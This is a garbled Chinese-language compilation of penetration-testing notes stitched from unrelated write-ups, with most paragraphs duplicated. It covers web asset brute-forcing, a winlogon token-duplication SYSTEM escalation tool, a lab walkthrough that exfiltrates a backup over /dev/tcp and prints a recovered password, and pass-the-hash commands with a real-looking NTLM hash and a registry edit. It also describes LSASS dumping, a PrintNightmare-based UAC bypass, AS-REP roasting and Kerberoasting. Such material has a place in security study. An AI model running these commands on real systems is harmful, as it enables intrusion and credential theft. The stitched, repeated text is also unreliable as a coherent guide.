通过上面的流程我可以将所有收集到的渗透测试edu资产储存到我的字典中,供下次的爆破使用,因为这次没有找到账号密码,所以这一次并不是很顺利,经历了2-3天终于让我在一个api测试的时候发现了敏感信息泄露
一般那种302直接转到统一身份认证的资产我都是会直接跳过的,但是实在是没有思路了,于是扫描了一下302的资产的目录
然后我是用如下命令扫描目录
./feroxbuster --scan-limit 2 -t 10 --filter-status 404 -x jsp -A -u https://you-url -k --proxy
发现了几个可疑的目录,将他们提取出来,然后使用katana爬取所有的链接到指定文件中
./katana -list urls.txt -o allurls.txt -proxy socks5://ip:10808
网站的指纹能够识别的的话,比如说我的这个资产是xx平台,根据这个信息去zoomeye寻找相似的网站,寻找不用统一身份认证的,然后将路由添加到urls.txt文件中
扫描出来的结果全部储存在allurls.txt文件中,我们需要将所有的js文件的路由提取到js-urls.txt
然后使用SecretFinder扫描js文件,并且将结果放到result.txt文件中
可以自行修改正则匹配,修改SecretFinder.py文件即可
一般那种302直接转到统一身份认证的资产我都是会直接跳过的,但是实在是没有思路了,于是扫描了一下302的资产的目录
然后我是用如下命令扫描目录
./feroxbuster --scan-limit 2 -t 10 --filter-status 404 -x jsp -A -u https://you-url -k --proxy
发现了几个可疑的目录,将他们提取出来,然后使用katana爬取所有的链接到指定文件中
./katana -list urls.txt -o allurls.txt -proxy socks5://ip:10808
网站的指纹能够识别的的话,比如说我的这个资产是xx平台,根据这个信息去zoomeye寻找相似的网站,寻找不用统一身份认证的,然后将路由添加到urls.txt文件中
扫描出来的结果全部储存在allurls.txt文件中,我们需要将所有的js文件的路由提取到js-urls.txt
然后使用SecretFinder扫描js文件,并且将结果放到result.txt文件中
可以自行修改正则匹配,修改SecretFinder.py文件即可
Sharp4Byass2SYSTEM:一款通过令牌复制将进程提升至SYSTEM权限的工具
在内网渗透环境中,获得 SYSTEM 权限是攻击链中的关键一环。通过分析 Windows 系统中对高权限进程的访问机制,发现利用 SYSTEM 账户运行的关键进程,如 winlogon 的访问令牌,可以伪装为操作系统内核,启动具有最高权限的进程。
识别当前进程的所有者权限
Sharp4Byass2SYSTEM.exe 工具内部调用 WMI 的 GetOwner 方法获取进程所有者的用户名和所在的域,然后通过判断进程所有者的用户名是否包含了关键词 "NT",比如返回 "NT AUTHORITY\SYSTEM",包含了NT就表示该进程是系统用户创建的,因此也具备了SYSTEM权限.
通过 Process.GetCurrentProcess().Id 获取当前运行的进程的PID,接着,调用 上述的 GetProcessOwner 方法,通过传递当前进程的 ID,获取进程的所有者信息。
随后,通过调用 WMI 的 Win32_Process 类查询获取进程的各种信息,例如 PID、名称、启动时间等,这里最核心的代码是获取进程所有者
在内网渗透环境中,获得 SYSTEM 权限是攻击链中的关键一环。通过分析 Windows 系统中对高权限进程的访问机制,发现利用 SYSTEM 账户运行的关键进程,如 winlogon 的访问令牌,可以伪装为操作系统内核,启动具有最高权限的进程。
识别当前进程的所有者权限
Sharp4Byass2SYSTEM.exe 工具内部调用 WMI 的 GetOwner 方法获取进程所有者的用户名和所在的域,然后通过判断进程所有者的用户名是否包含了关键词 "NT",比如返回 "NT AUTHORITY\SYSTEM",包含了NT就表示该进程是系统用户创建的,因此也具备了SYSTEM权限.
通过 Process.GetCurrentProcess().Id 获取当前运行的进程的PID,接着,调用 上述的 GetProcessOwner 方法,通过传递当前进程的 ID,获取进程的所有者信息。
随后,通过调用 WMI 的 Win32_Process 类查询获取进程的各种信息,例如 PID、名称、启动时间等,这里最核心的代码是获取进程所有者
将当前进程提升至SYSTEM
当 Sharp4Byass2SYSTEM 以管理员权限运行且当前用户不是系统账户时,将触发自定义的 jumptoSys() 方法,尝试将当前进程提升为 SYSTEM 权限.
这里有个重新启动该进程的步骤,主要是当前运行程序的完整路径(通过 Assembly.GetEntryAssembly()获得),以便在提升权限后重新启动该进程,先保存在变量 procTostart 之中。随后,通过 Process.GetProcessesByName("winlogon")[0],获取名称为 winlogon 的进程,而 winlogon 是一个高权限进程,通常运行在 SYSTEM 账户下.
接着,使用 OpenProcessToken 函数打开 winlogon 进程的访问令牌,并将令牌句柄存储在 tokenHandle 中,最后,使用 DuplicateTokenEx 函数创建一个新的令牌,并且指定 TokenPrimary 为主令牌,代码如下所示
doubleDuplicateToken 是存储复制后的新令牌句柄,再使用 CreateProcessWithTokenW 函数启动一个进程
创建新的进程中,procTostart 变量是当前程序的路径,用于重新启动自身,doubleDuplicateToken 表示 SYSTEM 权限的令牌,这样重启后的进程权限是SYSTEM,并且进程的所有者变成NT系统用户。
当 Sharp4Byass2SYSTEM 以管理员权限运行且当前用户不是系统账户时,将触发自定义的 jumptoSys() 方法,尝试将当前进程提升为 SYSTEM 权限.
这里有个重新启动该进程的步骤,主要是当前运行程序的完整路径(通过 Assembly.GetEntryAssembly()获得),以便在提升权限后重新启动该进程,先保存在变量 procTostart 之中。随后,通过 Process.GetProcessesByName("winlogon")[0],获取名称为 winlogon 的进程,而 winlogon 是一个高权限进程,通常运行在 SYSTEM 账户下.
接着,使用 OpenProcessToken 函数打开 winlogon 进程的访问令牌,并将令牌句柄存储在 tokenHandle 中,最后,使用 DuplicateTokenEx 函数创建一个新的令牌,并且指定 TokenPrimary 为主令牌,代码如下所示
doubleDuplicateToken 是存储复制后的新令牌句柄,再使用 CreateProcessWithTokenW 函数启动一个进程
创建新的进程中,procTostart 变量是当前程序的路径,用于重新启动自身,doubleDuplicateToken 表示 SYSTEM 权限的令牌,这样重启后的进程权限是SYSTEM,并且进程的所有者变成NT系统用户。
证书站的渗透
信息收集,敏感信息收集、ip段收集、然后整理归类
收集baidu.com的子域名成字典,经过上面的步骤后我已经得到了很多的baudu.com的子域名在我的subdomains.txt文件中
执行下面的命令将baidu.com替换成FUZZ
sed -r 's/baidu\.com/FUZZ/g' subdomains.txt | tee sub-baidu-dic.txt
生成字典内容,然后将这次收集到的不重复的添加到你收集的总字典中,使用字典爆破你想要爆破的域名
或者使用ffuf进行爆破
先将子域名给替换生成完整的域名
cat sub-baidu-dic.txt | sed 's/FUZZ/baidu\.com/g' | tee baidu-urls.txt然后使用ffuf进行爆破。
信息收集,敏感信息收集、ip段收集、然后整理归类
收集baidu.com的子域名成字典,经过上面的步骤后我已经得到了很多的baudu.com的子域名在我的subdomains.txt文件中
执行下面的命令将baidu.com替换成FUZZ
sed -r 's/baidu\.com/FUZZ/g' subdomains.txt | tee sub-baidu-dic.txt
生成字典内容,然后将这次收集到的不重复的添加到你收集的总字典中,使用字典爆破你想要爆破的域名
或者使用ffuf进行爆破
先将子域名给替换生成完整的域名
cat sub-baidu-dic.txt | sed 's/FUZZ/baidu\.com/g' | tee baidu-urls.txt然后使用ffuf进行爆破。
kali权限凭证获取启动一个http服务,修改一下index.html,然后重新检查,获得容器的root。
adam凭证获取,在根目录下面发现了可疑目录,cd进去后发现了zip文件:
容器root:cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
.............
james@trickster: nc -lvnp 6666
............
攻击机kali:scp -P 22 james@10.10.11.34:/tmp/changedetection-backup-20240830194841.zip ./
在压缩包内发现br格式文件,获得adam的密码,ssh连上去adam:adam_admin992.
adam凭证获取,在根目录下面发现了可疑目录,cd进去后发现了zip文件:
容器root:cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
.............
james@trickster: nc -lvnp 6666
............
攻击机kali:scp -P 22 james@10.10.11.34:/tmp/changedetection-backup-20240830194841.zip ./
在压缩包内发现br格式文件,获得adam的密码,ssh连上去adam:adam_admin992.
权限提升
发现了docker的网卡
这里我们可以上传一些扫描工具,也可以借助系统自带的命令去扫描网段。
ping&伪设备枚举,这里以ping举例
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
只发现了一个ip,接下来我们要探测一下端口,可以通过伪设备来实现
最终发现了一个5000端口
其实上面的这些,上传个fscan一条命令就能完成
发现了docker的网卡
这里我们可以上传一些扫描工具,也可以借助系统自带的命令去扫描网段。
ping&伪设备枚举,这里以ping举例
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
只发现了一个ip,接下来我们要探测一下端口,可以通过伪设备来实现
最终发现了一个5000端口
其实上面的这些,上传个fscan一条命令就能完成
UAC 绕过——Windows 权限提升
在 Linux 机器上使用sudo命令。使用 sudo,您必须知道 root 密码才能以 root 权限执行命令。UAC 大致相同,在右键单击要以管理员权限运行的程序并选择“以管理员身份运行”后,它会提示您输入管理员密码
对 Windows 10 主机进行了初始枚举,发现端口 21 已打开并托管 FTP 服务器。FTP 服务器不允许匿名登录;但是,对 SMB 共享的枚举显示用户名为efrost。有了用户名和 FTP 服务器,使用 Hydra 对该服务进行暴力破解,并成功发现用户的 FTP 密码为Coldheart1234
目标主机的端口 445 和端口 3389 是开放的。为了快速取胜,首先使用Impacket Suite of Tools 中的 psexec.py试了对 SMB 的访问 。
在 Linux 机器上使用sudo命令。使用 sudo,您必须知道 root 密码才能以 root 权限执行命令。UAC 大致相同,在右键单击要以管理员权限运行的程序并选择“以管理员身份运行”后,它会提示您输入管理员密码
对 Windows 10 主机进行了初始枚举,发现端口 21 已打开并托管 FTP 服务器。FTP 服务器不允许匿名登录;但是,对 SMB 共享的枚举显示用户名为efrost。有了用户名和 FTP 服务器,使用 Hydra 对该服务进行暴力破解,并成功发现用户的 FTP 密码为Coldheart1234
目标主机的端口 445 和端口 3389 是开放的。为了快速取胜,首先使用Impacket Suite of Tools 中的 psexec.py试了对 SMB 的访问 。
通过 RDP 进行传递哈希攻击
自由网络
要通过 RDP 执行传递哈希攻击,我们可以使用Kali 预装的名为xfreerdp的工具。
从 172.16.1.100 转储了 SAM 哈希,然后我们尝试传递哈希以作为 172.16.1.200 上的本地管理员获取 RDP 会话。使用以下命令且不指定域,它将尝试以本地管理员帐户身份进行连接:
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard
为了绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用带有 crackmapexec 和-x开关的传递哈希攻击来执行以下命令:
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
现在我们已将 DisableRestrictAdmin 设置为 0 或“关闭”,我们能够使用 xfreerdp 成功执行传递哈希攻击。
自由网络
要通过 RDP 执行传递哈希攻击,我们可以使用Kali 预装的名为xfreerdp的工具。
从 172.16.1.100 转储了 SAM 哈希,然后我们尝试传递哈希以作为 172.16.1.200 上的本地管理员获取 RDP 会话。使用以下命令且不指定域,它将尝试以本地管理员帐户身份进行连接:
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard
为了绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用带有 crackmapexec 和-x开关的传递哈希攻击来执行以下命令:
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
现在我们已将 DisableRestrictAdmin 设置为 0 或“关闭”,我们能够使用 xfreerdp 成功执行传递哈希攻击。
在 Windows 10 主机上执行此攻击
执行此攻击的不同方法的经验来看,我发现在 Windows 10 主机上唯一有效的方法有特定要求。也就是说,您需要知道具有 SeBackupPrivilege 的用户的密码,并且您需要在主机上具有 RDP(GUI)访问权限
对 backup_svc 帐户进行 kerberoast 并破解密码。现在,我们不再使用 evil-winrm 来获取 shell,而是使用xfreerdp
使用whoami /priv时,它并不显示我们拥有 SeBackupPrivilege
默认情况下,SeBackupPrivilege 在低完整性 shell 中未启用。要启用该权限,您需要使用“以管理员身份运行”打开命令提示符。将弹出 UAC 提示,要求输入当前用户的密码。这是 Windows 处理备份操作员组中用户权限的方式
一旦输入密码,权限即启用
执行此攻击的不同方法的经验来看,我发现在 Windows 10 主机上唯一有效的方法有特定要求。也就是说,您需要知道具有 SeBackupPrivilege 的用户的密码,并且您需要在主机上具有 RDP(GUI)访问权限
对 backup_svc 帐户进行 kerberoast 并破解密码。现在,我们不再使用 evil-winrm 来获取 shell,而是使用xfreerdp
使用whoami /priv时,它并不显示我们拥有 SeBackupPrivilege
默认情况下,SeBackupPrivilege 在低完整性 shell 中未启用。要启用该权限,您需要使用“以管理员身份运行”打开命令提示符。将弹出 UAC 提示,要求输入当前用户的密码。这是 Windows 处理备份操作员组中用户权限的方式
一旦输入密码,权限即启用
转储 LSASS 进程:任务管理器(GUI)
对于我们的第一个示例,我们可以使用我们创建的本地管理员帐户的凭据并通过 RDP 进入主机以获取 GUI 会话。
确认我们在系统上拥有本地管理员权限后,我们可以继续转储 LSASS 进程。
由于我们在受害者上有 GUI 访问权限,我们转储 LSASS 进程的第一种方法是使用任务管理器。
要创建进程转储文件,请右键单击任务栏(底部栏),然后单击任务管理器。
接下来,我们需要单击“更多详细信息”下拉箭头,然后转到“详细信息”选项卡。从那里,我们可以向下滚动,然后右键单击lsass.exe并选择“创建转储文件”。
对于我们的第一个示例,我们可以使用我们创建的本地管理员帐户的凭据并通过 RDP 进入主机以获取 GUI 会话。
确认我们在系统上拥有本地管理员权限后,我们可以继续转储 LSASS 进程。
由于我们在受害者上有 GUI 访问权限,我们转储 LSASS 进程的第一种方法是使用任务管理器。
要创建进程转储文件,请右键单击任务栏(底部栏),然后单击任务管理器。
接下来,我们需要单击“更多详细信息”下拉箭头,然后转到“详细信息”选项卡。从那里,我们可以向下滚动,然后右键单击lsass.exe并选择“创建转储文件”。
转储 LSASS 进程 – 远程(无 GUI)
要远程执行此攻击,我们需要满足以下列出的三个标准中的至少一个:
1. 内置本地管理员帐户的哈希值或密码(“不能”是添加到本地管理员组的本地用户)
2. 域管理员账户的哈希值或密码
3.本地系统账户(计算机账户)的哈希值
绕过 UAC 以转储 LSASS
我们以用户cmarko 的身份在目标上拥有反向 shell ,并且我们刚刚执行了 Print Nightmare (CVE-2021-1675) 来创建一个名为“pwnt”的本地管理员帐户
创建本地管理员用户后,可以像以前一样跳转到 RDP 会话,或者我们可以尝试立即使用这些凭据执行 RCE(远程命令执行)
使用CrackMapExec检查,这次它显示“Pwn3d!”,表明我们已经实现 RCE 并成功绕过 UAC
要远程执行此攻击,我们需要满足以下列出的三个标准中的至少一个:
1. 内置本地管理员帐户的哈希值或密码(“不能”是添加到本地管理员组的本地用户)
2. 域管理员账户的哈希值或密码
3.本地系统账户(计算机账户)的哈希值
绕过 UAC 以转储 LSASS
我们以用户cmarko 的身份在目标上拥有反向 shell ,并且我们刚刚执行了 Print Nightmare (CVE-2021-1675) 来创建一个名为“pwnt”的本地管理员帐户
创建本地管理员用户后,可以像以前一样跳转到 RDP 会话,或者我们可以尝试立即使用这些凭据执行 RCE(远程命令执行)
使用CrackMapExec检查,这次它显示“Pwn3d!”,表明我们已经实现 RCE 并成功绕过 UAC
AS-REP 烤制攻击
AS-REP Roasting 是攻击者用来转储已禁用Kerberos 预身份验证的用户帐户的 AS-REP (krbasrep5) 哈希值的一种技术。
与 Kerberoasting 不同,此类攻击涉及的用户不仅限于服务帐户。
任何帐户都可以通过简单勾选一个框来关闭预身份验证。
执行 AS-REP Roasting 攻击的唯一要求是拥有已禁用预身份验证的域中用户的有效用户名。
AS-REP Roasting 是攻击者用来转储已禁用Kerberos 预身份验证的用户帐户的 AS-REP (krbasrep5) 哈希值的一种技术。
与 Kerberoasting 不同,此类攻击涉及的用户不仅限于服务帐户。
任何帐户都可以通过简单勾选一个框来关闭预身份验证。
执行 AS-REP Roasting 攻击的唯一要求是拥有已禁用预身份验证的域中用户的有效用户名。
AD 升级 – Kerberoasting 攻击
Kerberoasting 攻击是一种允许攻击者请求任何具有已注册 SPN 的服务的服务票证的技术。一旦请求,该服务票证将以 TGS-REP 哈希的形式呈现给攻击者。
然后,攻击者获取此票证(哈希),并使用Hashcat之类的工具破解服务帐户密码。
目标是获取代表 AD 中的用户帐户运行的服务的 TGS 票证,然后尝试破解它们。
要执行 Kerberoasting 攻击,我们需要满足以下两个要求中至少之一:
-域帐户(任何帐户)的一组有效凭据
-在域中的目标主机上建立立足点(任何账户)
如果域服务帐户具有注册的 SPN,那么它应该是可 Kerberoast 攻击的;但是,攻击的成功取决于密码的强度以及破解的服务帐户的权限级别。
Kerberoasting 攻击是一种允许攻击者请求任何具有已注册 SPN 的服务的服务票证的技术。一旦请求,该服务票证将以 TGS-REP 哈希的形式呈现给攻击者。
然后,攻击者获取此票证(哈希),并使用Hashcat之类的工具破解服务帐户密码。
目标是获取代表 AD 中的用户帐户运行的服务的 TGS 票证,然后尝试破解它们。
要执行 Kerberoasting 攻击,我们需要满足以下两个要求中至少之一:
-域帐户(任何帐户)的一组有效凭据
-在域中的目标主机上建立立足点(任何账户)
如果域服务帐户具有注册的 SPN,那么它应该是可 Kerberoast 攻击的;但是,攻击的成功取决于密码的强度以及破解的服务帐户的权限级别。